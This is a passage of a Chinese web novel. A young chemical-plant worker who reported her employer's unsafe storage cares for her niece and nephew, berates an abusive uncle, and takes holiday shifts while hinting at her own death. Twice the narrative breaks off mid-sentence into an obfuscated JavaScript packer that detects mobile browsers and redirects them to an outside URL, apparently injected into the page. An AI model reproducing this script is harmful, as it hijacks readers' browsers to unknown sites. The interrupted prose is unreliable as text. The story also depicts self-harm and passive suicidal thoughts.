《再一次,重启流水账人生!》 1. 第一章 摄人心魄的电话铃声再次从枕头底下传来,陆易宁睡梦中惊醒,手忙脚乱地从枕头底下摸出手机,屏幕上赫然显示着“疯姐”两个字。 “喂?”陆易宁接通电话,声音里听不出半点困意。 电话那头,陆易安沉默了一瞬,随即冷声道:“你别告诉我你还在睡觉。” 陆易宁弯下腰,在床底下摸索拖鞋,嘴上却毫不犹豫地撒谎:“没有,我正准备出门呢。” 陆易安太了解她了,一听就知道她这会儿肯定还赖在床上,但也懒得骂她,直接切入正题:“朵朵的老师已经打了两个电话来了。” “好,我马上就去!”陆易宁一边应着,一边光着脚走到鞋柜旁,打开柜门,里面赫然躺着一双白色拖鞋。 “我就知道。”陆易宁低声嘟囔了一句。不用猜,肯定是陆朵朵那小家伙早上偷偷塞进去的。 “你说什么?”陆易安的声音从电话那头传来。 “没什么,我出门了!”陆易宁一边说着,一边走进卫生间,故意弄出关门的声音,试图迷惑亲姐。 “你去接陆朵朵的时候,顺便接一下张睿轩。刘佳打你电话你没接,发语音你也不回,她和张荣今天在市里耽搁了点时间,要七八点才能回来。你接了他们两个以后,带他们在外面吃晚饭,也给我带一份炒饭回来,顺带在小学门口给我买个糯米团,一定要我喜欢吃的那家。不是刘记小吃店的我不要。” 陆易宁看着镜子里蓬头垢面的自己,忍不住翻了个白眼,回了句:“挑三拣四的,吃屎去吧你!” 中秋假期已经过去五天,校领导偏偏选在快要放学的时候开会。陆易安一早就把接孩子的任务交给了陆易宁。彼时,陆易宁刚熬了一夜看小说,精神抖擞地保证完成任务。结果,失眠了这么久,好不容易有了睡意,一觉睡到了下午四点十五。 简单收拾了一下,陆易宁以跑八百米的速度冲向幼儿园。 陆易安离婚后,费了九牛二虎之力才带着孩子回到杨长镇的中学教书。她租的小房子离镇上的幼儿园只有九百多米,陆易宁跑一趟也不算费劲。 镇上的幼儿园和小学是连在一起的,幼儿园比小学早放学一个小时。平日里,陆易安如果因为学校的事耽搁了,陆朵朵就会在幼儿园的滑梯上玩,一边玩一边等她。 “朵朵~”陆易宁气喘吁吁地站在滑梯旁,等着陆朵朵从滑梯上滑下来。 “二姨,你又睡过头了,我等了好久!”小姑娘背起滑梯旁的青蛙书包,撅着小嘴抱怨:“我好饿!我想吃汉堡包。” “我也饿。”陆易宁站直身子,捶了捶胸口,看了眼手表,距离小学生放学还有十分钟,“走,先去隔壁等你睿轩哥哥,我们一块去吃。” “带他做什么?”小家伙不乐意地朝校门口走去,“前几天他吃烧烤都不肯分我一串,今天我去吃汉堡干嘛要叫他?我才不等他!” “那还不是因为你嗓子不舒服,不能吃辣的吗?” 小丫头一本正经地解释:“我嗓子疼不能吃辣和他不给我吃不一样!他发高烧时,我还不是照样分他冰淇淋。” 陆易宁:你真大方… “那我待会给你多点肉串,行了吧?” “那也不行,除非他只能在旁边看着我吃!” 陆易宁叹了口气,这家伙记仇的性子真是随了她妈。 “再这样,我一个人去就行。你们俩一块回家等你妈回来煮大锅菜吃。” 陆易宁一招致命,陆朵朵见风向不对,立马改口:“那行吧,我这次就先让着张睿轩,过几天去看祖婆婆时,我也买烧烤当着他面吃,就不分给他。” 陆易宁附和道:“行行行,随你,到时候拿点钱,给你装个大的。” “谢谢二姨!”听到好话,小丫头的不快瞬间烟消云散,弯着眼睛笑嘻嘻地牵起陆易宁的手。 小家伙和她老妈小时候一模一样。一得势就会笑弯眼睛,咧着嘴角,露出虎牙嘻嘻嘻地笑。小时候,陆易安骗自己零食吃时得逞的笑容就是这样的,笑声也一样。 在小学门口的小吃店买完陆易安要吃的糯米团子,陆朵朵为了留肚子去吃“西餐”,不肯吃,陆易宁就自己吃,顺带给张睿轩留了一个红豆馅的。 五点,下课铃声响起,学生们陆续走出校门。等了七八分钟,陆易宁视力好,一眼就从一群拿着小车玩具吵吵闹闹的小男孩里揪住了张睿轩的领子。 “七七小姨?”张睿轩一时没反应过来。 “你妈你爸今天要晚上才回来,我来接你去吃晚饭。” 陆朵朵瞪了他一眼,“就是为了等你,要不是我现在都吃上汉堡了。” 张睿轩眼睛一亮,连忙让自己的放学搭子先走,自己要去吃好吃的。 “小姨,我想吃鸡腿!”张睿轩开始点餐。 陆朵朵也不甘示弱,“二姨,我还想吃薯条!” “我要吃蛋挞。” “我要喝奶茶!” “我要吃薯饼!” “我要吃一整只炸鸡!” 两人你一言我一语,陆易宁只得点头:“吃吃吃,都吃,待会谁吃不完,我把谁捶成骨头渣渣!” 来到汉堡店,店里的出餐速度并不快。张睿轩刚说自己数学考了一百分,陆朵朵就说他在炫耀,自己也考了一百分还没说呢。 这两个小家伙一凑在一块就爱闹。陆朵朵虽然才四岁半,但遗传了陆易安极强的语言天赋,吵架那叫一个顺溜,漂亮话也是一句接着一句,经常骗张睿轩的零食吃。被骗得多了,张睿轩学聪明了,不上当,她就开始和他吵,两兄妹一见面就闹。 陆易安小时候经常说漂亮话哄表姐分她零食,现在她女儿又开始闹她儿子。 张睿轩不和陆朵朵逞口舌之快,转而和陆易宁说话:“七七小姨,祖祖过生日,你也去我外婆家吗?我小舅舅要买一个大蛋糕带回来,外公说他做一大桌好吃的,要喊你和安安大姨一起来。” 外婆的生日在十月五号。姐姐的生日在九月三十号,后天。 陆易宁盯着汉堡店空荡荡的桌面,如果一切顺利,公司领导能做个人,国庆期间暂停生产计划,她应该能去。 店员端来餐盘,轻轻放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438359|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在餐桌上,两个小孩异口同声地道谢,打断了陆易宁的沉思。 陆朵朵一眼瞅准自己点的牛肉堡,拿在手里咬了一大口,撑圆了嘴摇头晃脑朝张睿轩炫耀:“我妈妈后天过生日,二姨会给我们买一个大蛋糕,我才不让你来我家吃,这样的话,我能吃两次蛋糕,你只能吃一次。而且,过几天二姨还要带我去旅游,去看大熊猫,我们也不带你去。” 还没定好的事就被陆朵朵拿出来炫耀,就一串烧烤引起来的矛盾,小丫头这几天每瞅见张睿轩一次就要怼一次。眼看张睿轩要被怼哭了,陆易宁忍不住发威:“陆朵朵,你再闹,再闹别说去旅游,待会结账都要用你的零花钱!给哥哥道歉!” 毕竟自己是第一个抱她的人。当初陆易安生陆朵朵时,母亲还躺在医院里,从始至终只有陆易宁一个人守在产房门口,从头忙到尾。陆易安前夫性子懦弱,他们一家压根瞧不上这孩子,孩子大人出了院才来看几眼。对于这个自己从小看着长大,也是因为自己的蠢脑筋才出现在世上的孩子,既然没有父爱,那就多给点别的爱。 陆易宁宠她宠得不行,虽然陆朵朵经常被她妈妈打,不过犯事后有陆易宁善终,屁股被打开花又如何,小丫头的嘴巴依旧伶俐。 被吓了一句,陆朵朵心不甘情不愿地拿了一个蛋挞到张睿轩面前,暂时不逞口舌之快,“对不起,睿轩哥哥。” 张睿轩倒是大方,拿起蛋挞表示接受善意。 眼看对方不委屈了,陆朵朵立马笑呵呵地问陆易宁:“二姨,我都道歉了,我想去看大熊猫。” 陆易宁喝了点果汁,看着企业微信,依旧没有任何新消息弹出来。 “二姨,好不好嘛~”陆朵朵开始撒娇,陆易宁给同事发着消息,敷衍地点头:“如果去的话,你也得叫上睿轩哥哥一起。” 张睿轩一听还有自己的事,点头如捣蒜:“谢谢七七小姨!” 陆朵朵不太乐意,脸上挂出不爽的小表情,被陆易宁横了一眼,也不敢多说。 微信消息发出去五六分钟也没有人回,陆易宁没什么胃口,随便吃了点东西,交代两个小孩几句话,起身去对面的餐馆给陆易安点晚饭。 一份炒饭,一份素汤。 回到汉堡店里等餐的时候,同事终于回了消息。 前面几句不过是指责她做事不太厚道,好端端的瞎举报公司,害得一大群人跟着遭殃。 对此,陆易宁并不想过多解释。这世上谁都巴不得能有个饭碗活下去,她举报公司违规操作违规储存化学原料,自己被停职,也确实影响到了别人的工作。 同事发来微信说领导还在气头上,到今天没有让她复职的打算。 陆易宁心里也有底,她这一闹,当天领导都直接想让她卷铺盖走人了,不过是碍于相关管理部门工作人员还在公司,只是停了她的职位,走人也就是过几天的事。 陆易宁并不打算走。 无论如何,后天也得去公司一趟!如果这次举报真能改变一切,可以活下来,那就顺其自然地换掉这份工作。 如果不能,那就……死呗! 2. 第二章 陆易宁给陆易安带了晚饭回去。 因为班上的几个女学生翘了晚自习和别的男同学出去鬼混,陆易安正准备回家,接到安全办主任尹洋的一个电话,只得骑着小电驴在大街上到处找人。 陆易宁坐在茶几旁边,一边看张睿轩做作业,一边和同事打听公司国庆期间的生产安排。 “小姨,我写完了。”张睿轩将完成的语文作业给陆易宁看,陆易宁瞄了一眼,“看图写话的“树”字写错了,不是这个“数”。重新翻下书,找找看。” “好吧。” 张睿轩开始翻语文书,为了等他写作业,陆朵朵不能看电视影响他,眼看就能看电视了,还要继续等,心里有点不痛快,也只能忍着。 手机提示音响起,陆易宁看了同事发的消息。 【今天开了会,国庆机器可能会停工,明后两天要加紧试料。】 果然是这个安排。 本以为处理局的人来了,公司会停工休整,结果该试的料还得试。 不过经她这一闹,厂房的仓库内该搬的东西也搬了。入秋天气干燥,静电严重,公司里除静电的设备只能看不能用,那些易燃物被搬走后,静电应该不会引起火灾爆炸。 就算产线上出事,也不会造成太大的损伤。 “小姨,我改好了。”张睿轩说了两遍,陆易宁都没回过神来。 “二姨,他写好了,我现在可以看电视了吧?”陆朵朵尖声尖气地喊了一句,陆易宁后知后觉地点头同意。 眼见张睿轩又想拿数学书预习,陆朵朵打开电视,没来得及选动画片,一把压住他的手,“回你家再看书!我要看电视!” “睿轩,休息会儿吧。”陆易宁起身将他的书包放回沙发上,走去厨台旁边给陆易安将打包来的炒饭重新热好。 两个孩子看电视看得上瘾,陆易宁回到卧室,打开最底层装冬装的衣柜,从衣服最底下掏出一个礼物袋子。 这是陆朵朵给她妈妈悄悄准备的生日礼物,是中秋节去县城玩,她们两个偷偷去商场选的围巾,天气冷了可以系。 陆易宁从包里拿出自己准备的礼物塞在围巾底下,将礼物袋放回原处,后天陆朵朵那小丫头定会迫不及待地拿出来。 晚上九点,陆朵朵和张睿轩躺在沙发上看电视看得昏昏欲睡,陆易宁将两个孩子喊去卧室睡觉,自己一个人坐在沙发上等。 手机上各个软件翻来覆去地看,心烦意乱,实在没有心思看下去。 临近十点,门被敲响,是表姐刘佳和她的丈夫张荣。 “张睿轩呢?”刘佳的嗓门很大,本就冷清的小房子被她的嗓子一激,突然热闹起来。 “在睡觉。” 刘佳将买来的零食放到客厅茶几上,一屁股坐在沙发上,“这是你姐喊我给她带来的,真的要命啊,她比我还馋,偏偏还比我瘦那么多。” “你但凡晚上少吃两顿夜宵,还会胖?”张荣走到卧室门口,轻轻推开门。 俩孩子睡得正香。 “你管我!”刘佳的性子爆,扭头急声急气地说:“快喊你儿子起床回家!” “急什么?”陆易宁朝张睿轩的书包扬了扬下巴,“人家作业都做好了,喊回去还不是睡觉。” “她性子急我看也没有你姐的急。”张荣走过来,一脸吃了瓜的样子,“我还以为你姐姐干瘦干瘦的,管不住学生,刚才看到她在大街上,那大嗓门,比刘佳还大,小混混都被她吼得一愣一愣的。” 陆易宁不明白,“你为什么会对她会有这样的误会?” “你以为陆安安是好猫?”刘佳说:“她但凡虚一点,陆朵朵现在还姓花呢。” 张荣:“这倒是。” “不过你姐怎么大晚上还在街上骂人,刚才我们经过KTV的时候,喊了她一声,差点被她一块骂。” 陆易宁说:“她班上几个女学生翘晚自习跟男生在校外玩。家长电话打不通,她只能跟学校安全办的老师在街上到处找人。” “怪不得。”刘佳直起身来,“刚才喊她的时候,看到了以前老去抓我的那个老卷毛尹洋,幸好没下车去凑热闹,要不然那老卷毛看见我都要拿我当反面教材给小姑娘看。” “你还怕当反面教材?”张荣笑道,“以前经常在旗杆下反省的‘光荣人物''。” “以前是没皮没脸,那个时候觉得自己厉害得要死,敢和学校对着干。”刘佳叹了叹气,“现在老子的脸皮薄,连张睿轩被留堂,老师打电话让我去接我都嫌丢脸。” 张睿轩被外面谈话的声音吵醒,跳下床,穿好衣服,推开卧室门,揉着眼睛走出来。 “哎哟,醒了。”张荣看他在揉眼睛,“看样子还没完全醒。” “小伙,快背书包,回家再睡。” 张睿轩被老爹催着去背书包。 陆易宁开玩笑说:“有什么催的,家里面有宝怕丢了?” 既然孩子已经收拾完毕,刘佳也不想多呆,她在大街中央地段开了一个文创店,回家后还要将货物整理好,明天卖呢。 “那我们先走了。”刘佳站起来,“今天就麻烦你了,等国庆节,去我家,我给你介绍男朋友。” “你别恩将仇报。”陆易宁笑着白了她一眼。 一家人走后,房间又恢复成原样,陆易宁继续发躺在沙发上望着天花板发呆。 四周静静的,连窗外风吹树叶的声音都听不见。 十点半,陆易安总算回来了。 陆易宁去加热炒饭,陆易安坐在茶几旁边,将刘佳买回来的甜品点心翻得乱七八糟。 “别吃那个了,吃完垃圾还不扔垃圾桶。”陆易宁将炒饭端到她面前。 一看陆易安回来气冲冲的样子,陆易宁就已经准备好等她咆哮一阵。 “你以为我想啊!”陆易安深吸一口气,肩膀沉下来,挖了一勺子炒饭,还没嚼上几口就咽下去。 “我以后再当班主任我就是蠢猪!他大爷的,就算校长逼着我上,我也不当了!都这年头了,怎么还有这种学生怎么还有这种家长?” 陆易宁竖耳恭听。 陆易安放下勺子,手比脚画地说,“我跟你说,我们跑去KTV抓了三回才把人抓到,结果那几个死丫头说她们本来就不喜欢读书,以后都要结婚生娃的,还不如早点享受什么狗屁的爱情滋味,男欢女爱。还说网上说的,女孩子的青春期是最值钱的,要趁年轻,有资本,找男人能找帅的,以后老了,不值钱了,就只能配老光棍了!” “我在教室里讲的没一个字听进去,不知道去哪个网站去看的逆天言论就奉为圭臬,当真理名言去信,我一说她,她还觉得我嫉妒她能谈帅哥男朋友。一个个黄毛紧身裤,个头都没一米七,下了鬼火走两步就体虚的骨头架子到底是帅在哪里?” “我真的要气死了,还有一个家长赶来,更奇葩。不说教育了,他大爷的,直接给牵上红线了,还说小混混年纪小他不反感,不过要娶她姑娘至少要六万六的彩礼!我的天啦,这是什么家长啊?还不如不来呢,尹主任忍不下去,当场骂他了都。” 陆易宁平静地听罢,“然后呢?” “还好,那小混混一听要六万六彩礼,急忙骑着摩托跑了!” “饭都没来得及吃一口,回了学校,主任骂我,学生骂我,没来的家长还在群里可劲骂我不配当老师。”陆易安越说越激动,“我也想啊,我到底是造了什么孽,当时脑子抽风选择当什么老师啊。一个月几千块,跟个孙子一样在哪都要被人骂。中秋假期有个学生在家里写作业时有点发烧。他妈妈硬说是我逼得他孩子发烧,给他布置的作业太多。关键是我压根没布置什么作业,他写的是数学,我教的是语文啊!” “气死我了!”陆易安气红了脸,碍于陆朵朵在睡觉,想叫唤也值得压低声音“啊”了一声。 结束后,又以同一句台词收尾,“这老师谁爱当谁当。” 陆易宁内疚地听她发疯。 她虽然每次生气都这样说,但是这是她的饭碗,她怎么能那么轻易丢掉呢,更何况这一次,她还有个陆朵朵在身边。 如果不是自己自作聪明,她的二十七岁应该待在上海,进了一家良心企业,有一个上四休三,从不加班,年假十五天,月薪至少破万还有丰厚年终奖的好工作,谈上一个小几岁的小男朋友,一有空就去江苏去山东旅游。 不急着结婚,但急着享受生活。 而不是为了陪在多病母亲的身边,早早成家,接着被各种因素牢牢拴住。待母亲离世,她却早已没有解脱自己的勇气。 陆易宁低下头,努力将眼底的泪水隐去。 发了疯,在陆易宁的身上得不到反馈,陆易安又开始吃饭。 对陆易宁的反应她已经习惯了,自己经常发疯,这个妹妹每次只会安安静静地等她发疯。 自己就算把某个人骂成渣子,她也不会像别人那样应和她说“怎么能这样?”“好过分”“你好倒霉哦,怎么遇见这种人?”这种台词。 再不甘再大的抱怨面对她,也只是波涛汹涌投进死海,被她的漠然悄无声息卷进去。 见陆易安的情绪稳定下来,陆易宁说:“明天早上我要回公司了。” “回公司?”陆易安疑惑道:“你不是被你们公司停职了吗?” “有一批料要试,我还是得回去一趟。” “你复职了?” 陆易宁没回答。 “要我说,你们那个公司有什么好回去的。不就是工作上出了点失误,又没耽误生产,至于停职吗?”陆易安并不知陆易宁被停职的真实原因,对于妹妹的很多选择,她从头到尾就没理解过,“你也是,做什么都没个定性。听妈说,你小时候也算个天才吧,虽然以前的日子不好过,但你后来高考也过了一本线。明明能去大城市里发展,偏偏要回老家说守着妈过日子。好了,明明能安安稳稳当个小学老师了,却硬要去什么化工厂倒班,累得要命,工作环境还不好。我这辈子,墙都不扶就服你对自己的人生规划。” 陆易宁点点头,嘲讽道:“是是是,我要是当老师,刚才就该跟你一起发疯了。” “小学老师又不像初中老师。”陆易安两眼无神地摇头,“那你明天几点去?” “我买了十点的高铁票,我明天早上送陆朵朵去学校后,直接在街上坐车去高铁站,这样的话,你和朵朵都可以多睡一会。” 陆易安吃饭的速度慢了不少,“那行吧,到公司了给我回个信儿。” “好。” 陆易宁伸了个懒腰,走去卫生间洗漱完,本想直接去睡觉,走到床边,细想了想又折返回去对陆易安说,“外婆过生日,我订做了一件衣服给她,应该明后两天就到,我写的是你的名字和号码,到时候记得去快递站拿。” 陆易安皱着眉毛,“你国庆放假回来再拿不就行了。” “你不要告诉我,你国庆还要留公司值班。” 陆易宁摆摆手,语气有点着急,“就一件衣服你去拿一下会少几斤肉吗?” “就是会少!” “总之记得去拿。”陆易宁三三两两交代完,走回房间,躺在床上,又开始望着天花板发呆。 次日,送陆朵朵去上学,一路上,小丫头还兴高采烈地说明天就要放假,要等二姨带她去旅游。 陆易宁没跟她说自己待会就走。 隔着幼儿园大门,望着陆朵朵的背影消失在视野里,陆易宁总感觉心脏在蹦蹦乱跳。 已经尽力而为了,为什么依旧觉得大难始终会临头。 * 公司附近没有公交站,只能从高铁站打车过去。下了高铁,陆易宁没选择立马去公司。 她的房子租在公司附近,这个时候去,到公司时刚好午休,要是在路上碰见个多事的同事出来吃午饭,指不定又要被别人说什么有的没的。 还不如在路上瞎逛,消磨一下时间。 陆易宁经常想,如果生命进入倒计时,自己会怎么过剩下的时间。 答案是发呆。 坐在公交站的长椅上,望着这个没非机动车道的城市。街道上车水马龙,外卖小哥,穿着卫衣牛仔裤的小姐姐,天冷依旧穿着T恤的年轻小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438360|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙,穿着碎花长裙的中年阿姨,带着红头盔的中年大叔,骑着小电驴在机动车道的车流里窜动。 这样的发呆实在无趣。 数了数停在盲道上的共享单车,私家汽车,陆易宁从口袋里拿出便利贴,写了无数带有“个人情绪”的问候词。 这一辈子,自己做过蠢事,坏事,好像从未勇敢地做过什么好事。 本来举报公司算一件,但是下午要在领导面前装孙子,求明天值班,算不上勇敢, 现在来看,至少,倡导抵制不文明行为算一件。 “你好,车主!眼珠子不能用,那就丢垃圾桶,别和车一起扔盲道上。” 带有此类的提示语的便利贴,陆易宁一路贴了六辆车。 像是做了贼一般,给车贴完标签,陆易宁连忙打车去公司附近的出租屋。 回到出租屋,陆易安的电话准时拨过来。 “喂,” “你到了吗?” “刚到。” 陆易安:“我跟你说,大伯今天又给我打电话了。” 对于这个大伯,陆易宁可谓是厌恶至极。 大伯一家人全是心眼子,各个薄情寡义,又贪又立。 父亲离世后几年,爷爷奶奶再离世,至此,两家人就很少有往来。自从前年母亲离世,两个堂哥也好,大伯大伯母也罢,突然开始对她们两姐妹嘘寒问暖起来了。 陆易宁和陆易安心里清楚大伯一家的德行,这种无利不起早的人,不搭理就是。 陆易宁心累地躺在床上,心中火一下烧起来,“他给你打电话干嘛?” 陆易安切声说:“问我要你的联系方式,说什么给你介绍男朋友。” 陆易宁被无语笑了。 是什么亲戚连联系方式都没有就敢给对方介绍对象的。 陆易宁问:“那你给了吗?” 陆易安回道:“当然给了,他上赶着被骂,我没理由不同意啊,到时候记得拉黑就行。” “好。” 挂掉电话,陆易宁坐起来,一直在等陆远打电话过来。 十分钟后,手机铃声响了,屏幕显示一个陌生的号码,陆易宁等铃声响了一半才慢悠悠接通。 “喂,你好?” “是宁宁不是?” 中年男人的声音里带有不少讨好的笑意。 陆易宁故意问:“你是谁?” “我是大伯呀,宁宁啊,你看你们也不回老家看看,我这个做大伯的,不得关心一下你们吗?” 陆易宁嗯嗯应声,“这么长时间,难得你记得。” 对方明显听不出好赖话,“就是时间长了,才要联系啊。这两年工作顺利吗?我听你小舅妈说你在一家大公司上班,很有出息呀。” “算不上。” 陆易宁随意跟他瞎哈啦几句,终于问了对方打电话的目的。 陆远哦了几声,连忙道:“我听你舅舅说你工作忙,没谈恋爱,我跟你说,你晨哥有个朋友,人在广东开建材” “所以,你打电话给我,是想给我介绍对象,让我去相亲的吗?”陆易宁终于忍不住了,语气实在说不上好。 “我这不是看你没成家嘛,要不是你姐离婚还带着个孩子,我都介绍给她了。” “我还该谢谢你是吗?”陆易宁直接撕破脸皮,装也不装了,“这次要给我介绍什么人呢?像给我妈那样,介绍一个老实人,然后呢,被老实人当沙包捶个几年,被打得体无完肤,落下一身病?” 陆远一下被怼得不乐意了,“你这孩子,怎么能这么说呢,你那时候才多大,懂什么事,别你妈跟你说什么就是什么。” “是吗,那我胳膊上被烟烫的疤也是我妈编给我听的?”陆易宁指名道姓开骂,“不是我说,陆远,麻烦你们一家人要滚就滚的远远的好吗?我爸去世,你们一家和你爹你妈各种咒骂我妈我姐。没几年又温声细语,火急火燎给我妈介绍男人,然后让我妈带着我和我姐另嫁别人家,接着把我爸名下的土地全收回去,十几年没关心过我们。现在好了,我妈才走两年不到,你们的刀子心倒是烧红了,关心起我跟我姐来了。别太恶心了,你个大尾巴狼装什么好人呢?” 被怼了一通,对方不是会忍气的主,“你这孩子说话怎么这么难听呀,我们这些年没少帮助过你家吧,要不是我,你们几母女早就饿死嫌命短了!” “是哦,要不是你,我妈也不会精神失常好几年。我怎么把你这畜生东西给忘了,早知道就该提着刀子上你家去把你这玩意的猪脑袋割下来倒立放在案板上,再朝你鼻孔里面插两炷香,去供奉我妈和我爸。我今天就说明了,我警告你们一家子,以后谁要是敢打电话去烦我姐去找我姐,我就是死,我也要天天守在你家床板底下,专门让你让你两个儿子六个孙子多灾多难,遇财财散,遇官官倒,逢病就死,逢灾就亡,一家子死于非命,懂吗?别给我提我爷我奶,你们都是一样的德行,别以为长我一辈,就望着我把你当菩萨。我告诉你,像你这种老拖尾巴蛆,就给我老老实实待在屎堆里打转,别爬出来,爬到……” “嘟嘟嘟……” 陆易宁还没骂够,对方争辩了两句,她的语速太快,吵不赢,对方实在吵不赢,最后只剩电话挂断的声音。 陆易宁握紧手机,整个人都是发抖的。 憋闷了好几天,陆远要来当受气包,她就干脆把气全撒在他身上。 眼泪不受控制地淌出来,陆易宁擦掉眼泪,回想自己这二十多年,蠢笨如猪却还爱自作聪明。她恨像陆远这种自私自利的人,恨极了李守均那种死无出息,喝了两口马尿,就厉鬼上身,将拳头挥向女人的男人,恨媚上欺下不把普通人人命当命的领导班子。 其实,最恨的还是自己。 这些烂人她明明可以远离,却因为自己的盲目害得至亲落入她造成的灾难中,这一世的自己原本也会有一个妹妹,最终也胎死母亲腹中。 这一切都是她造成的,而她连死的资格都没有。 空荡荡的房间内,陆易宁垂下头用力扇了自己的脸几巴掌,脸被扇得通红。 3. 第三章 五点,临近下班,公司会开会说明假期的值班与明天的试料工作安排。 办公室没有人,都去开会了。 陆易宁去了公司,独自坐在车间办公室,一路走来,不少人看见她都行了长时间的注目礼。 将近六点,会议结束,同事们相继回来。 “你怎么来了?不会是来?”平日里比较熟的男同事,负责生产的一个技术员看见她,差点以为她是来收拾东西滚蛋的。 “你想多了。”陆易宁走到门边往走廊里看了几眼,“周经理,主管,宋工他们呢?” 男同事说:“还在会议室里商量事。” “明天你要值班吗?”陆易宁回头。 男同事一脸不愿,“当然要啊,刘哥说他家有事,王哥也说有事,还有你……”男同事意识到说错话,“我不是那意思,就是人手不太够,我不就得留下来吗?” “我知道。” 他不过才毕业一年,还有大好年华。 而自己,死不足惜。 陆易宁说:“我和经理他们商量一下,如果可以的话,我明后两天替你。” “真的?” “当然。” 在走廊里顺了顺胸口,脑海内还没完成一次完整的排练,陆易宁就已经走到会议室门口。 里面的几人眼看要商量好了,陆易宁叩响会议室的门,来开门的人是主管。 里面的人一看见她,宛如看见瘟神的神色同一刻在几张脸上浮现。 因为她,这些人挨了不少骂。 “你怎么来了?不是喊你这段时间别来公司吗?”先开口的是经理。 “幸亏没把我吊牌拿走,不然我还不能进来呢。”陆易宁僵硬地笑着缓和气氛。 很明显没有用。 几人看她时,一脸的不爽。 这个时候只能装孙子。 “各位领导同事,这次的事情实在对不起,因为我的缘故,牵连到你们。都怪我意气用事,我这几天深刻反思了自己的行为,是我太小题大做了,害得各位因为我,添了不少工作量。我记得最近会有一批新料过来,如果不是我的原因,可能也不会这么急着试料,我想回来看看我能不能做些什么,哪怕分担一点也好。” 陆易宁深深鞠躬,耳朵通红。 几人突然被她整不会了。 其实他们也没有怎么记恨她,虽然因为她多了不少事,不过她这一个鞠躬,自己反倒不太好意思了。 而且公司的调查人员查了她所有的工作账号和记录,得出的结论也只是一个工作本分的人。 可能举报公司也是一时头热。 这段时间本来就忙,因为她瞎举报,更忙了。人力资源部那边招的人还没定,就算能无缝顶班也等要国庆假期结束。 所有人都在忙,她一个始作俑者两手一拍,回家去什么都不做,却要一堆人来给她擦屁股。 经理眼珠一转,暗想着,实在不行,等忙完这段时间,再让她滚蛋也不迟。 “那批料这几天是必须要试的,国庆期间还要测定各种性能报上去。”经理看她低埋着头也不是个事,“你站直好好说话。” 陆易宁抬起头,几人看她眼睛红肿,明显是哭过了,也不好多责备她。 不然别人看见还以为是五六个大男人不占理欺负一女人。 陆易宁看向生产主管,“蔡工,如果可以的话,我明天能来值班吗?” 主管看向经理,经理皱着眉头想了想,“我给上面说一声,能的话,明天给你排班。” “谢谢经理,麻烦你了。”陆易宁连连道谢,轻手轻脚走出会议室。 拖着沉重的尸体回到出租屋,一坐在桌子前面,微信群里收到国庆假期排班表。 她的名字被排在九月三十号到十月四号。 事成。 陆易宁识趣地回一个“收到”。 凌晨零点,陆易宁躺在床上,看着手机界面上的日期跳转到九月三十号。 这个时候,陆朵朵那家伙应该翻身下床,跑到衣柜旁边去给她妈妈拿生日礼物。 小家伙对日期没有概念,但是只要有人在她耳边念叨几天后是谁谁谁的生日,她立马就精了,日子算得比谁都准。 十二零六分,陆易安的朋友圈更新。陆易宁点开朋友圈,果然是感谢女儿的内容,里面附了几张围巾的照片。 陆易宁点了一个赞,陆易安的微信消息立马发过来。 陆易安:【还没睡?】 陆易宁:【嗯,睡不着。】 陆易安坐在床边,手里拿着陆易宁送的生日礼物,【手链是你送的吧?你怎么会送这么贵的东西?】 陆易宁:【你以前不是巴不得我给你送大金项链大金条吗?真给你送了,你还不乐意了?】 陆易安:【那只是开玩笑的呀!】 陆易宁:【行了,你就收好吧。手链上的那些玉石珠子不值什么钱,但是那几个金疙瘩是实打实的钱,随便拿去金店都能卖个一两万的。】 陆易安发了两个瞪大眼睛的表情包,【你别骗我?】 陆易宁:【我骗你干嘛?】 陆易安:【你讲得我都不敢戴了。】 陆朵朵坐在卢易安腿上,将围巾从陆易安的脖子上解下来,重新折叠好放进礼品袋子。 陆易安给陆易宁发着微信,陆朵朵下一秒就将一张银行卡拿到她眼前。 “这哪来的?”陆易安拿着银行卡看了几眼,她并没有工行的银行卡。 陆朵朵指着礼品袋,“我在里面看到的。” 陆朵朵说围巾是她二姨和她去挑的。 陆易安说:“可能是你二姨落下的,我问一下你二姨。” 陆易安:【你是不是落下一张工行的卡在我这里?】 陆易宁佯装吃惊,发了两个张大嘴的人头表情包,【那是我的工资卡呀!怎么会落你那?】 陆易安:【坏笑坏笑,工资卡?里面有多少?】 陆易宁:【少说也有个十万八万的。】 陆易安开玩笑问:【密码是多少?明天我全给你取了。】 陆易宁摆出一副土大款的姿势:【银行卡账号后六位,你随便试,我不差钱。】 玩笑过后,陆易安隐隐感到有点不舒服。 她了解妹妹的脾性,话少,静悄悄的,说话时别人说一句她回一句。但这次放假回来,她能感觉到妹妹每天都心不在焉,一脸疲惫,有时候玩个手机都能发半天呆。 嘴上轻松地说着被公司停职,以后要换个工作,结果又突然说回去班。 这算什么事儿嘛? 送自己这么贵重的礼物,银行卡还落在自己手上。 陆易安忍不住问:【你还好吗?不会今天回去出什么事儿了吧?又挨同事针对又被领导骂了吗?】 陆易宁眼眶酸涩:【你想多了,我没事,都说开了,明天还要上班。】 陆易安:【明天上班?你要值班到什么时候?】 陆易宁:【四号吧。】 陆易安:【行,还是早点睡吧,不打扰你了。】 …… 陆易安虽然心里隐隐觉得不安,但枯燥的日子依旧在第二天重复上演,仿佛什么都没发生过。 